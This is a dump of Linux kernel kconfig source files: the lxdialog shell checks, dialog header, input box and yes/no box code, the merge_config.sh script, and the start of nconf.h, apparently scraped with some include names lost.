--------------------------------------------------------------------------------
1 | This is NOT the official version of dialog. This version has been
2 | significantly modified from the original. It is for use by the Linux
3 | kernel configuration script. Please do not bother Savio Lam with
4 | questions about this program.
5 |
--------------------------------------------------------------------------------
/scripts/kconfig/lxdialog/check-lxdialog.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # Check ncurses compatibility
3 |
4 | # What library to link
5 | ldflags()
6 | {
7 | pkg-config --libs ncursesw 2>/dev/null && exit
8 | pkg-config --libs ncurses 2>/dev/null && exit
9 | for ext in so a dll.a dylib ; do
10 | for lib in ncursesw ncurses curses ; do
11 | $cc -print-file-name=lib${lib}.${ext} | grep -q /
12 | if [ $? -eq 0 ]; then
13 | echo "-l${lib}"
14 | exit
15 | fi
16 | done
17 | done
18 | exit 1
19 | }
20 |
21 | # Where is ncurses.h?
22 | ccflags()
23 | {
24 | if [ -f /usr/include/ncursesw/curses.h ]; then
25 | echo '-I/usr/include/ncursesw -DCURSES_LOC=""'
26 | echo ' -DNCURSES_WIDECHAR=1'
27 | elif [ -f /usr/include/ncurses/ncurses.h ]; then
28 | echo '-I/usr/include/ncurses -DCURSES_LOC=""'
29 | elif [ -f /usr/include/ncurses/curses.h ]; then
30 | echo '-I/usr/include/ncurses -DCURSES_LOC=""'
31 | elif [ -f /usr/include/ncurses.h ]; then
32 | echo '-DCURSES_LOC=""'
33 | else
34 | echo '-DCURSES_LOC=""'
35 | fi
36 | }
37 |
38 | # Temp file, try to clean up after us
39 | tmp=$(mktemp)
40 | trap "rm -f $tmp" 0 1 2 3 15
41 |
42 | # Check if we can link to ncurses
43 | check() {
44 | $cc -x c - -o $tmp 2>/dev/null <<'EOF'
45 | #include CURSES_LOC
46 | main() {}
47 | EOF
48 | if [ $? != 0 ]; then
49 | echo " *** Unable to find the ncurses libraries or the" 1>&2
50 | echo " *** required header files." 1>&2
51 | echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2
52 | echo " *** " 1>&2
53 | echo " *** Install ncurses (ncurses-devel) and try again." 1>&2
54 | echo " *** " 1>&2
55 | exit 1
56 | fi
57 | }
58 |
59 | usage() {
60 | printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n"
61 | }
62 |
63 | if [ $# -eq 0 ]; then
64 | usage
65 | exit 1
66 | fi
67 |
68 | cc=""
69 | case "$1" in
70 | "-check")
71 | shift
72 | cc="$@"
73 | check
74 | ;;
75 | "-ccflags")
76 | ccflags
77 | ;;
78 | "-ldflags")
79 | shift
80 | cc="$@"
81 | ldflags
82 | ;;
83 | "*")
84 | usage
85 | exit 1
86 | ;;
87 | esac
88 |
--------------------------------------------------------------------------------
/scripts/kconfig/lxdialog/dialog.h:
--------------------------------------------------------------------------------
1 | /*
2 | * dialog.h -- common declarations for all dialog modules
3 | *
4 | * AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
5 | *
6 | * This program is free software; you can redistribute it and/or
7 | * modify it under the terms of the GNU General Public License
8 | * as published by the Free Software Foundation; either version 2
9 | * of the License, or (at your option) any later version.
10 | *
11 | * This program is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with this program; if not, write to the Free Software
18 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
19 | */
20 |
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 |
29 | #ifndef KBUILD_NO_NLS
30 | # include
31 | #else
32 | # define gettext(Msgid) ((const char *) (Msgid))
33 | #endif
34 |
35 | #ifdef __sun__
36 | #define CURS_MACROS
37 | #endif
38 | #include CURSES_LOC
39 |
40 | /*
41 | * Colors in ncurses 1.9.9e do not work properly since foreground and
42 | * background colors are OR'd rather than separately masked. This version
43 | * of dialog was hacked to work with ncurses 1.9.9e, making it incompatible
44 | * with standard curses. The simplest fix (to make this work with standard
45 | * curses) uses the wbkgdset() function, not used in the original hack.
46 | * Turn it off if we're building with 1.9.9e, since it just confuses things.
47 | */
48 | #if defined(NCURSES_VERSION) && defined(_NEED_WRAP) && !defined(GCC_PRINTFLIKE)
49 | #define OLD_NCURSES 1
50 | #undef wbkgdset
51 | #define wbkgdset(w,p) /*nothing */
52 | #else
53 | #define OLD_NCURSES 0
54 | #endif
55 |
56 | #define TR(params) _tracef params
57 |
58 | #define KEY_ESC 27
59 | #define TAB 9
60 | #define MAX_LEN 2048
61 | #define BUF_SIZE (10*1024)
62 | #define MIN(x,y) (x < y ? x : y)
63 | #define MAX(x,y) (x > y ? x : y)
64 |
65 | #ifndef ACS_ULCORNER
66 | #define ACS_ULCORNER '+'
67 | #endif
68 | #ifndef ACS_LLCORNER
69 | #define ACS_LLCORNER '+'
70 | #endif
71 | #ifndef ACS_URCORNER
72 | #define ACS_URCORNER '+'
73 | #endif
74 | #ifndef ACS_LRCORNER
75 | #define ACS_LRCORNER '+'
76 | #endif
77 | #ifndef ACS_HLINE
78 | #define ACS_HLINE '-'
79 | #endif
80 | #ifndef ACS_VLINE
81 | #define ACS_VLINE '|'
82 | #endif
83 | #ifndef ACS_LTEE
84 | #define ACS_LTEE '+'
85 | #endif
86 | #ifndef ACS_RTEE
87 | #define ACS_RTEE '+'
88 | #endif
89 | #ifndef ACS_UARROW
90 | #define ACS_UARROW '^'
91 | #endif
92 | #ifndef ACS_DARROW
93 | #define ACS_DARROW 'v'
94 | #endif
95 |
96 | /* error return codes */
97 | #define ERRDISPLAYTOOSMALL (KEY_MAX + 1)
98 |
99 | /*
100 | * Color definitions
101 | */
102 | struct dialog_color {
103 | chtype atr; /* Color attribute */
104 | int fg; /* foreground */
105 | int bg; /* background */
106 | int hl; /* highlight this item */
107 | };
108 |
109 | struct subtitle_list {
110 | struct subtitle_list *next;
111 | const char *text;
112 | };
113 |
114 | struct dialog_info {
115 | const char *backtitle;
116 | struct subtitle_list *subtitles;
117 | struct dialog_color screen;
118 | struct dialog_color shadow;
119 | struct dialog_color dialog;
120 | struct dialog_color title;
121 | struct dialog_color border;
122 | struct dialog_color button_active;
123 | struct dialog_color button_inactive;
124 | struct dialog_color button_key_active;
125 | struct dialog_color button_key_inactive;
126 | struct dialog_color button_label_active;
127 | struct dialog_color button_label_inactive;
128 | struct dialog_color inputbox;
129 | struct dialog_color inputbox_border;
130 | struct dialog_color searchbox;
131 | struct dialog_color searchbox_title;
132 | struct dialog_color searchbox_border;
133 | struct dialog_color position_indicator;
134 | struct dialog_color menubox;
135 | struct dialog_color menubox_border;
136 | struct dialog_color item;
137 | struct dialog_color item_selected;
138 | struct dialog_color tag;
139 | struct dialog_color tag_selected;
140 | struct dialog_color tag_key;
141 | struct dialog_color tag_key_selected;
142 | struct dialog_color check;
143 | struct dialog_color check_selected;
144 | struct dialog_color uarrow;
145 | struct dialog_color darrow;
146 | };
147 |
148 | /*
149 | * Global variables
150 | */
151 | extern struct dialog_info dlg;
152 | extern char dialog_input_result[];
153 | extern int saved_x, saved_y; /* Needed in signal handler in mconf.c */
154 |
155 | /*
156 | * Function prototypes
157 | */
158 |
159 | /* item list as used by checklist and menubox */
160 | void item_reset(void);
161 | void item_make(const char *fmt, ...);
162 | void item_add_str(const char *fmt, ...);
163 | void item_set_tag(char tag);
164 | void item_set_data(void *p);
165 | void item_set_selected(int val);
166 | int item_activate_selected(void);
167 | void *item_data(void);
168 | char item_tag(void);
169 |
170 | /* item list manipulation for lxdialog use */
171 | #define MAXITEMSTR 200
172 | struct dialog_item {
173 | char str[MAXITEMSTR]; /* promtp displayed */
174 | char tag;
175 | void *data; /* pointer to menu item - used by menubox+checklist */
176 | int selected; /* Set to 1 by dialog_*() function if selected. */
177 | };
178 |
179 | /* list of lialog_items */
180 | struct dialog_list {
181 | struct dialog_item node;
182 | struct dialog_list *next;
183 | };
184 |
185 | extern struct dialog_list *item_cur;
186 | extern struct dialog_list item_nil;
187 | extern struct dialog_list *item_head;
188 |
189 | int item_count(void);
190 | void item_set(int n);
191 | int item_n(void);
192 | const char *item_str(void);
193 | int item_is_selected(void);
194 | int item_is_tag(char tag);
195 | #define item_foreach() \
196 | for (item_cur = item_head ? item_head: item_cur; \
197 | item_cur && (item_cur != &item_nil); item_cur = item_cur->next)
198 |
199 | /* generic key handlers */
200 | int on_key_esc(WINDOW *win);
201 | int on_key_resize(void);
202 |
203 | /* minimum (re)size values */
204 | #define CHECKLIST_HEIGTH_MIN 6 /* For dialog_checklist() */
205 | #define CHECKLIST_WIDTH_MIN 6
206 | #define INPUTBOX_HEIGTH_MIN 2 /* For dialog_inputbox() */
207 | #define INPUTBOX_WIDTH_MIN 2
208 | #define MENUBOX_HEIGTH_MIN 15 /* For dialog_menu() */
209 | #define MENUBOX_WIDTH_MIN 65
210 | #define TEXTBOX_HEIGTH_MIN 8 /* For dialog_textbox() */
211 | #define TEXTBOX_WIDTH_MIN 8
212 | #define YESNO_HEIGTH_MIN 4 /* For dialog_yesno() */
213 | #define YESNO_WIDTH_MIN 4
214 | #define WINDOW_HEIGTH_MIN 19 /* For init_dialog() */
215 | #define WINDOW_WIDTH_MIN 80
216 |
217 | int init_dialog(const char *backtitle);
218 | void set_dialog_backtitle(const char *backtitle);
219 | void set_dialog_subtitles(struct subtitle_list *subtitles);
220 | void end_dialog(int x, int y);
221 | void attr_clear(WINDOW * win, int height, int width, chtype attr);
222 | void dialog_clear(void);
223 | void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x);
224 | void print_button(WINDOW * win, const char *label, int y, int x, int selected);
225 | void print_title(WINDOW *dialog, const char *title, int width);
226 | void draw_box(WINDOW * win, int y, int x, int height, int width, chtype box,
227 | chtype border);
228 | void draw_shadow(WINDOW * win, int y, int x, int height, int width);
229 |
230 | int first_alpha(const char *string, const char *exempt);
231 | int dialog_yesno(const char *title, const char *prompt, int height, int width);
232 | int dialog_msgbox(const char *title, const char *prompt, int height,
233 | int width, int pause);
234 |
235 |
236 | typedef void (*update_text_fn)(char *buf, size_t start, size_t end, void
237 | *_data);
238 | int dialog_textbox(const char *title, char *tbuf, int initial_height,
239 | int initial_width, int *keys, int *_vscroll, int *_hscroll,
240 | update_text_fn update_text, void *data);
241 | int dialog_menu(const char *title, const char *prompt,
242 | const void *selected, int *s_scroll);
243 | int dialog_checklist(const char *title, const char *prompt, int height,
244 | int width, int list_height);
245 | int dialog_inputbox(const char *title, const char *prompt, int height,
246 | int width, const char *init);
247 |
248 | /*
249 | * This is the base for fictitious keys, which activate
250 | * the buttons.
251 | *
252 | * Mouse-generated keys are the following:
253 | * -- the first 32 are used as numbers, in addition to '0'-'9'
254 | * -- the lowercase are used to signal mouse-enter events (M_EVENT + 'o')
255 | * -- uppercase chars are used to invoke the button (M_EVENT + 'O')
256 | */
257 | #define M_EVENT (KEY_MAX+1)
258 |
--------------------------------------------------------------------------------
/scripts/kconfig/lxdialog/inputbox.c:
--------------------------------------------------------------------------------
1 | /*
2 | * inputbox.c -- implements the input box
3 | *
4 | * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
5 | * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
6 | *
7 | * This program is free software; you can redistribute it and/or
8 | * modify it under the terms of the GNU General Public License
9 | * as published by the Free Software Foundation; either version 2
10 | * of the License, or (at your option) any later version.
11 | *
12 | * This program is distributed in the hope that it will be useful,
13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | * GNU General Public License for more details.
16 | *
17 | * You should have received a copy of the GNU General Public License
18 | * along with this program; if not, write to the Free Software
19 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
20 | */
21 |
22 | #include "dialog.h"
23 |
24 | char dialog_input_result[MAX_LEN + 1];
25 |
26 | /*
27 | * Print the termination buttons
28 | */
29 | static void print_buttons(WINDOW * dialog, int height, int width, int selected)
30 | {
31 | int x = width / 2 - 11;
32 | int y = height - 2;
33 |
34 | print_button(dialog, gettext(" Ok "), y, x, selected == 0);
35 | print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
36 |
37 | wmove(dialog, y, x + 1 + 14 * selected);
38 | wrefresh(dialog);
39 | }
40 |
41 | /*
42 | * Display a dialog box for inputing a string
43 | */
44 | int dialog_inputbox(const char *title, const char *prompt, int height, int width,
45 | const char *init)
46 | {
47 | int i, x, y, box_y, box_x, box_width;
48 | int input_x = 0, key = 0, button = -1;
49 | int show_x, len, pos;
50 | char *instr = dialog_input_result;
51 | WINDOW *dialog;
52 |
53 | if (!init)
54 | instr[0] = '\0';
55 | else
56 | strcpy(instr, init);
57 |
58 | do_resize:
59 | if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN))
60 | return -ERRDISPLAYTOOSMALL;
61 | if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN))
62 | return -ERRDISPLAYTOOSMALL;
63 |
64 | /* center dialog box on screen */
65 | x = (getmaxx(stdscr) - width) / 2;
66 | y = (getmaxy(stdscr) - height) / 2;
67 |
68 | draw_shadow(stdscr, y, x, height, width);
69 |
70 | dialog = newwin(height, width, y, x);
71 | keypad(dialog, TRUE);
72 |
73 | draw_box(dialog, 0, 0, height, width,
74 | dlg.dialog.atr, dlg.border.atr);
75 | wattrset(dialog, dlg.border.atr);
76 | mvwaddch(dialog, height - 3, 0, ACS_LTEE);
77 | for (i = 0; i < width - 2; i++)
78 | waddch(dialog, ACS_HLINE);
79 | wattrset(dialog, dlg.dialog.atr);
80 | waddch(dialog, ACS_RTEE);
81 |
82 | print_title(dialog, title, width);
83 |
84 | wattrset(dialog, dlg.dialog.atr);
85 | print_autowrap(dialog, prompt, width - 2, 1, 3);
86 |
87 | /* Draw the input field box */
88 | box_width = width - 6;
89 | getyx(dialog, y, x);
90 | box_y = y + 2;
91 | box_x = (width - box_width) / 2;
92 | draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2,
93 | dlg.dialog.atr, dlg.border.atr);
94 |
95 | print_buttons(dialog, height, width, 0);
96 |
97 | /* Set up the initial value */
98 | wmove(dialog, box_y, box_x);
99 | wattrset(dialog, dlg.inputbox.atr);
100 |
101 | len = strlen(instr);
102 | pos = len;
103 |
104 | if (len >= box_width) {
105 | show_x = len - box_width + 1;
106 | input_x = box_width - 1;
107 | for (i = 0; i < box_width - 1; i++)
108 | waddch(dialog, instr[show_x + i]);
109 | } else {
110 | show_x = 0;
111 | input_x = len;
112 | waddstr(dialog, instr);
113 | }
114 |
115 | wmove(dialog, box_y, box_x + input_x);
116 |
117 | wrefresh(dialog);
118 |
119 | while (key != KEY_ESC) {
120 | key = wgetch(dialog);
121 |
122 | if (button == -1) { /* Input box selected */
123 | switch (key) {
124 | case TAB:
125 | case KEY_UP:
126 | case KEY_DOWN:
127 | break;
128 | case KEY_BACKSPACE:
129 | case 127:
130 | if (pos) {
131 | wattrset(dialog, dlg.inputbox.atr);
132 | if (input_x == 0) {
133 | show_x--;
134 | } else
135 | input_x--;
136 |
137 | if (pos < len) {
138 | for (i = pos - 1; i < len; i++) {
139 | instr[i] = instr[i+1];
140 | }
141 | }
142 |
143 | pos--;
144 | len--;
145 | instr[len] = '\0';
146 | wmove(dialog, box_y, box_x);
147 | for (i = 0; i < box_width; i++) {
148 | if (!instr[show_x + i]) {
149 | waddch(dialog, ' ');
150 | break;
151 | }
152 | waddch(dialog, instr[show_x + i]);
153 | }
154 | wmove(dialog, box_y, input_x + box_x);
155 | wrefresh(dialog);
156 | }
157 | continue;
158 | case KEY_LEFT:
159 | if (pos > 0) {
160 | if (input_x > 0) {
161 | wmove(dialog, box_y, --input_x + box_x);
162 | } else if (input_x == 0) {
163 | show_x--;
164 | wmove(dialog, box_y, box_x);
165 | for (i = 0; i < box_width; i++) {
166 | if (!instr[show_x + i]) {
167 | waddch(dialog, ' ');
168 | break;
169 | }
170 | waddch(dialog, instr[show_x + i]);
171 | }
172 | wmove(dialog, box_y, box_x);
173 | }
174 | pos--;
175 | }
176 | continue;
177 | case KEY_RIGHT:
178 | if (pos < len) {
179 | if (input_x < box_width - 1) {
180 | wmove(dialog, box_y, ++input_x + box_x);
181 | } else if (input_x == box_width - 1) {
182 | show_x++;
183 | wmove(dialog, box_y, box_x);
184 | for (i = 0; i < box_width; i++) {
185 | if (!instr[show_x + i]) {
186 | waddch(dialog, ' ');
187 | break;
188 | }
189 | waddch(dialog, instr[show_x + i]);
190 | }
191 | wmove(dialog, box_y, input_x + box_x);
192 | }
193 | pos++;
194 | }
195 | continue;
196 | default:
197 | if (key < 0x100 && isprint(key)) {
198 | if (len < MAX_LEN) {
199 | wattrset(dialog, dlg.inputbox.atr);
200 | if (pos < len) {
201 | for (i = len; i > pos; i--)
202 | instr[i] = instr[i-1];
203 | instr[pos] = key;
204 | } else {
205 | instr[len] = key;
206 | }
207 | pos++;
208 | len++;
209 | instr[len] = '\0';
210 |
211 | if (input_x == box_width - 1) {
212 | show_x++;
213 | } else {
214 | input_x++;
215 | }
216 |
217 | wmove(dialog, box_y, box_x);
218 | for (i = 0; i < box_width; i++) {
219 | if (!instr[show_x + i]) {
220 | waddch(dialog, ' ');
221 | break;
222 | }
223 | waddch(dialog, instr[show_x + i]);
224 | }
225 | wmove(dialog, box_y, input_x + box_x);
226 | wrefresh(dialog);
227 | } else
228 | flash(); /* Alarm user about overflow */
229 | continue;
230 | }
231 | }
232 | }
233 | switch (key) {
234 | case 'O':
235 | case 'o':
236 | delwin(dialog);
237 | return 0;
238 | case 'H':
239 | case 'h':
240 | delwin(dialog);
241 | return 1;
242 | case KEY_UP:
243 | case KEY_LEFT:
244 | switch (button) {
245 | case -1:
246 | button = 1; /* Indicates "Help" button is selected */
247 | print_buttons(dialog, height, width, 1);
248 | break;
249 | case 0:
250 | button = -1; /* Indicates input box is selected */
251 | print_buttons(dialog, height, width, 0);
252 | wmove(dialog, box_y, box_x + input_x);
253 | wrefresh(dialog);
254 | break;
255 | case 1:
256 | button = 0; /* Indicates "OK" button is selected */
257 | print_buttons(dialog, height, width, 0);
258 | break;
259 | }
260 | break;
261 | case TAB:
262 | case KEY_DOWN:
263 | case KEY_RIGHT:
264 | switch (button) {
265 | case -1:
266 | button = 0; /* Indicates "OK" button is selected */
267 | print_buttons(dialog, height, width, 0);
268 | break;
269 | case 0:
270 | button = 1; /* Indicates "Help" button is selected */
271 | print_buttons(dialog, height, width, 1);
272 | break;
273 | case 1:
274 | button = -1; /* Indicates input box is selected */
275 | print_buttons(dialog, height, width, 0);
276 | wmove(dialog, box_y, box_x + input_x);
277 | wrefresh(dialog);
278 | break;
279 | }
280 | break;
281 | case ' ':
282 | case '\n':
283 | delwin(dialog);
284 | return (button == -1 ? 0 : button);
285 | case 'X':
286 | case 'x':
287 | key = KEY_ESC;
288 | break;
289 | case KEY_ESC:
290 | key = on_key_esc(dialog);
291 | break;
292 | case KEY_RESIZE:
293 | delwin(dialog);
294 | on_key_resize();
295 | goto do_resize;
296 | }
297 | }
298 |
299 | delwin(dialog);
300 | return KEY_ESC; /* ESC pressed */
301 | }
302 |
--------------------------------------------------------------------------------
/scripts/kconfig/lxdialog/yesno.c:
--------------------------------------------------------------------------------
1 | /*
2 | * yesno.c -- implements the yes/no box
3 | *
4 | * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
5 | * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
6 | *
7 | * This program is free software; you can redistribute it and/or
8 | * modify it under the terms of the GNU General Public License
9 | * as published by the Free Software Foundation; either version 2
10 | * of the License, or (at your option) any later version.
11 | *
12 | * This program is distributed in the hope that it will be useful,
13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | * GNU General Public License for more details.
16 | *
17 | * You should have received a copy of the GNU General Public License
18 | * along with this program; if not, write to the Free Software
19 | * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
20 | */
21 |
22 | #include "dialog.h"
23 |
24 | /*
25 | * Display termination buttons
26 | */
27 | static void print_buttons(WINDOW * dialog, int height, int width, int selected)
28 | {
29 | int x = width / 2 - 10;
30 | int y = height - 2;
31 |
32 | print_button(dialog, gettext(" Yes "), y, x, selected == 0);
33 | print_button(dialog, gettext(" No "), y, x + 13, selected == 1);
34 |
35 | wmove(dialog, y, x + 1 + 13 * selected);
36 | wrefresh(dialog);
37 | }
38 |
39 | /*
40 | * Display a dialog box with two buttons - Yes and No
41 | */
42 | int dialog_yesno(const char *title, const char *prompt, int height, int width)
43 | {
44 | int i, x, y, key = 0, button = 0;
45 | WINDOW *dialog;
46 |
47 | do_resize:
48 | if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN))
49 | return -ERRDISPLAYTOOSMALL;
50 | if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN))
51 | return -ERRDISPLAYTOOSMALL;
52 |
53 | /* center dialog box on screen */
54 | x = (getmaxx(stdscr) - width) / 2;
55 | y = (getmaxy(stdscr) - height) / 2;
56 |
57 | draw_shadow(stdscr, y, x, height, width);
58 |
59 | dialog = newwin(height, width, y, x);
60 | keypad(dialog, TRUE);
61 |
62 | draw_box(dialog, 0, 0, height, width,
63 | dlg.dialog.atr, dlg.border.atr);
64 | wattrset(dialog, dlg.border.atr);
65 | mvwaddch(dialog, height - 3, 0, ACS_LTEE);
66 | for (i = 0; i < width - 2; i++)
67 | waddch(dialog, ACS_HLINE);
68 | wattrset(dialog, dlg.dialog.atr);
69 | waddch(dialog, ACS_RTEE);
70 |
71 | print_title(dialog, title, width);
72 |
73 | wattrset(dialog, dlg.dialog.atr);
74 | print_autowrap(dialog, prompt, width - 2, 1, 3);
75 |
76 | print_buttons(dialog, height, width, 0);
77 |
78 | while (key != KEY_ESC) {
79 | key = wgetch(dialog);
80 | switch (key) {
81 | case 'Y':
82 | case 'y':
83 | delwin(dialog);
84 | return 0;
85 | case 'N':
86 | case 'n':
87 | delwin(dialog);
88 | return 1;
89 |
90 | case TAB:
91 | case KEY_LEFT:
92 | case KEY_RIGHT:
93 | button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button);
94 |
95 | print_buttons(dialog, height, width, button);
96 | wrefresh(dialog);
97 | break;
98 | case ' ':
99 | case '\n':
100 | delwin(dialog);
101 | return button;
102 | case KEY_ESC:
103 | key = on_key_esc(dialog);
104 | break;
105 | case KEY_RESIZE:
106 | delwin(dialog);
107 | on_key_resize();
108 | goto do_resize;
109 | }
110 | }
111 |
112 | delwin(dialog);
113 | return key; /* ESC pressed */
114 | }
115 |
--------------------------------------------------------------------------------
/scripts/kconfig/merge_config.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # merge_config.sh - Takes a list of config fragment values, and merges
3 | # them one by one. Provides warnings on overridden values, and specified
4 | # values that did not make it to the resulting .config file (due to missed
5 | # dependencies or config symbol removal).
6 | #
7 | # Portions reused from kconf_check and generate_cfg:
8 | # http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check
9 | # http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg
10 | #
11 | # Copyright (c) 2009-2010 Wind River Systems, Inc.
12 | # Copyright 2011 Linaro
13 | #
14 | # This program is free software; you can redistribute it and/or modify
15 | # it under the terms of the GNU General Public License version 2 as
16 | # published by the Free Software Foundation.
17 | #
18 | # This program is distributed in the hope that it will be useful,
19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
21 | # See the GNU General Public License for more details.
22 |
23 | clean_up() {
24 | rm -f $TMP_FILE
25 | exit
26 | }
27 | trap clean_up HUP INT TERM
28 |
29 | usage() {
30 | echo "Usage: $0 [OPTIONS] [CONFIG [...]]"
31 | echo " -h display this help text"
32 | echo " -m only merge the fragments, do not execute the make command"
33 | echo " -n use allnoconfig instead of alldefconfig"
34 | echo " -r list redundant entries when merging fragments"
35 | echo " -O dir to put generated output files"
36 | }
37 |
38 | MAKE=true
39 | ALLTARGET=alldefconfig
40 | WARNREDUN=false
41 | OUTPUT=.
42 |
43 | while true; do
44 | case $1 in
45 | "-n")
46 | ALLTARGET=allnoconfig
47 | shift
48 | continue
49 | ;;
50 | "-m")
51 | MAKE=false
52 | shift
53 | continue
54 | ;;
55 | "-h")
56 | usage
57 | exit
58 | ;;
59 | "-r")
60 | WARNREDUN=true
61 | shift
62 | continue
63 | ;;
64 | "-O")
65 | if [ -d $2 ];then
66 | OUTPUT=$(echo $2 | sed 's/\/*$//')
67 | else
68 | echo "output directory $2 does not exist" 1>&2
69 | exit 1
70 | fi
71 | shift 2
72 | continue
73 | ;;
74 | *)
75 | break
76 | ;;
77 | esac
78 | done
79 |
80 | INITFILE=$1
81 | shift;
82 |
83 | MERGE_LIST=$*
84 | SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p"
85 | TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX)
86 |
87 | echo "Using $INITFILE as base"
88 | cat $INITFILE > $TMP_FILE
89 |
90 | # Merge files, printing warnings on overrided values
91 | for MERGE_FILE in $MERGE_LIST ; do
92 | echo "Merging $MERGE_FILE"
93 | CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE)
94 |
95 | for CFG in $CFG_LIST ; do
96 | grep -q -w $CFG $TMP_FILE
97 | if [ $? -eq 0 ] ; then
98 | PREV_VAL=$(grep -w $CFG $TMP_FILE)
99 | NEW_VAL=$(grep -w $CFG $MERGE_FILE)
100 | if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then
101 | echo Value of $CFG is redefined by fragment $MERGE_FILE:
102 | echo Previous value: $PREV_VAL
103 | echo New value: $NEW_VAL
104 | echo
105 | elif [ "$WARNREDUN" = "true" ]; then
106 | echo Value of $CFG is redundant by fragment $MERGE_FILE:
107 | fi
108 | sed -i "/$CFG[ =]/d" $TMP_FILE
109 | fi
110 | done
111 | cat $MERGE_FILE >> $TMP_FILE
112 | done
113 |
114 | if [ "$MAKE" = "false" ]; then
115 | cp $TMP_FILE $OUTPUT/.config
116 | echo "#"
117 | echo "# merged configuration written to $OUTPUT/.config (needs make)"
118 | echo "#"
119 | clean_up
120 | exit
121 | fi
122 |
123 | # If we have an output dir, setup the O= argument, otherwise leave
124 | # it blank, since O=. will create an unnecessary ./source softlink
125 | OUTPUT_ARG=""
126 | if [ "$OUTPUT" != "." ] ; then
127 | OUTPUT_ARG="O=$OUTPUT"
128 | fi
129 |
130 |
131 | # Use the merged file as the starting point for:
132 | # alldefconfig: Fills in any missing symbols with Kconfig default
133 | # allnoconfig: Fills in any missing symbols with # CONFIG_* is not set
134 | PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG}
135 | make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET
136 |
137 |
138 | # Check all specified config values took (might have missed-dependency issues)
139 | for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do
140 |
141 | REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE)
142 | ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config)
143 | if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then
144 | echo "Value requested for $CFG not in final .config"
145 | echo "Requested value: $REQUESTED_VAL"
146 | echo "Actual value: $ACTUAL_VAL"
147 | echo ""
148 | fi
149 | done
150 |
151 | clean_up
152 |
--------------------------------------------------------------------------------
/scripts/kconfig/nconf.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2008 Nir Tzachar
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 |
23 | #include
24 | #include
25 | #include
26 |
27 | #include "ncurses.h"
28 |
29 | #define max(a, b) ({\
30 | typeof(a) _a = a;\
31 | typeof(b) _b = b;\
32 | _a > _b ? _a : _b; })
33 |
34 | #define min(a, b) ({\
35 | typeof(a) _a = a;\
36 | typeof(b) _b = b;\
37 | _a < _b ? _a : _b; })
38 |
39 | typedef enum {
40 | NORMAL = 1,
41 | MAIN_HEADING,
42 | MAIN_MENU_BOX,
43 | MAIN_MENU_FORE,
44 | MAIN_MENU_BACK,
45 | MAIN_MENU_GREY,
46 | MAIN_MENU_HEADING,
47 | SCROLLWIN_TEXT,
48 | SCROLLWIN_HEADING,
49 | SCROLLWIN_BOX,
50 | DIALOG_TEXT,
51 | DIALOG_MENU_FORE,
52 | DIALOG_MENU_BACK,
53 | DIALOG_BOX,
54 | INPUT_BOX,
55 | INPUT_HEADING,
56 | INPUT_TEXT,
57 | INPUT_FIELD,
58 | FUNCTION_TEXT,
59 | FUNCTION_HIGHLIGHT,
60 | ATTR_MAX
61 | } attributes_t;
62 | extern attributes_t attributes[];
63 |
64 | typedef enum {
65 | F_HELP = 1,
66 | F_SYMBOL = 2,
67 | F_INSTS = 3,
68 | F_CONF = 4,
69 | F_BACK = 5,
70 | F_SAVE = 6,
71 | F_LOAD = 7,
72 | F_SEARCH = 8,
73 | F_EXIT = 9,
74 | } function_key;
75 |
76 | void set_colors(void);
77 |
78 | /* this changes the windows attributes !!! */
79 | void print_in_middle(WINDOW *win,
80 | int starty,
81 | int startx,
82 | int width,
83 | const char *string,
84 | chtype color);
85 | int get_line_length(const char *line);
86 | int get_line_no(const char *text);
